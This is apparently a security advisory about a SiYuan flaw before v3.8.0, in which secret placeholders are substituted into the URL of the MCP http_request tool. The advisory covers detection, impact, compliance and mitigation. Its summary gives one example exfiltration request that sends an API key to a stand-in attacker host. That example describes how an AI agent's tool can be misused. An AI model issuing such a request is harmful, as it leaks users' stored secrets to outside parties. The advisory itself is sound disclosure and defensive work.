SiYuan Secret Exfiltration via MCP http_request Tool

Executive Summary

SiYuan before v3.8.0 has a vulnerability where secret placeholders like {{secrets.NAME}} are interpolated into the URL parameter of the http_request MCP tool. This allows attackers to craft requests that send plaintext secret values to any host they control without user confirmation. For example, an attacker could send a GET request to https://attacker.example/collect?token={{secrets.API_KEY}}, and the secret would be substituted and sent to their server.

Useful 0 Not Useful 0

Detection Guidance

Check SiYuan application logs for HTTP requests containing secret placeholders like {{secrets.NAME}} in the URL parameter. Monitor outbound network traffic for unexpected connections to external hosts, especially those receiving GET requests with secret values.

Useful 0 Not Useful 0

Impact Analysis

This vulnerability allows attackers to exfiltrate stored secrets such as API keys or other sensitive data without user interaction. Since the http_request tool sends secrets to any public host, attackers can collect these secrets for further attacks, unauthorized access, or data breaches. The impact is high confidentiality loss due to the ability to transmit secrets in plaintext.

Useful 0 Not Useful 0

Compliance Impact

This vulnerability likely violates compliance requirements such as GDPR and HIPAA due to unauthorized exfiltration of sensitive data. GDPR mandates protection of personal data, and HIPAA requires safeguarding protected health information. The exfiltration of secrets like API keys or credentials could lead to non-compliance, potential fines, and reputational damage.

Useful 0 Not Useful 0

Mitigation Strategies

Upgrade SiYuan to version 3.8.0 or later to patch the vulnerability. If upgrading is not possible, restrict the MCP http_request tool's access to sensitive secrets or disable it entirely. Review stored secrets for potential exposure and rotate any compromised credentials.

Useful 0 Not Useful 0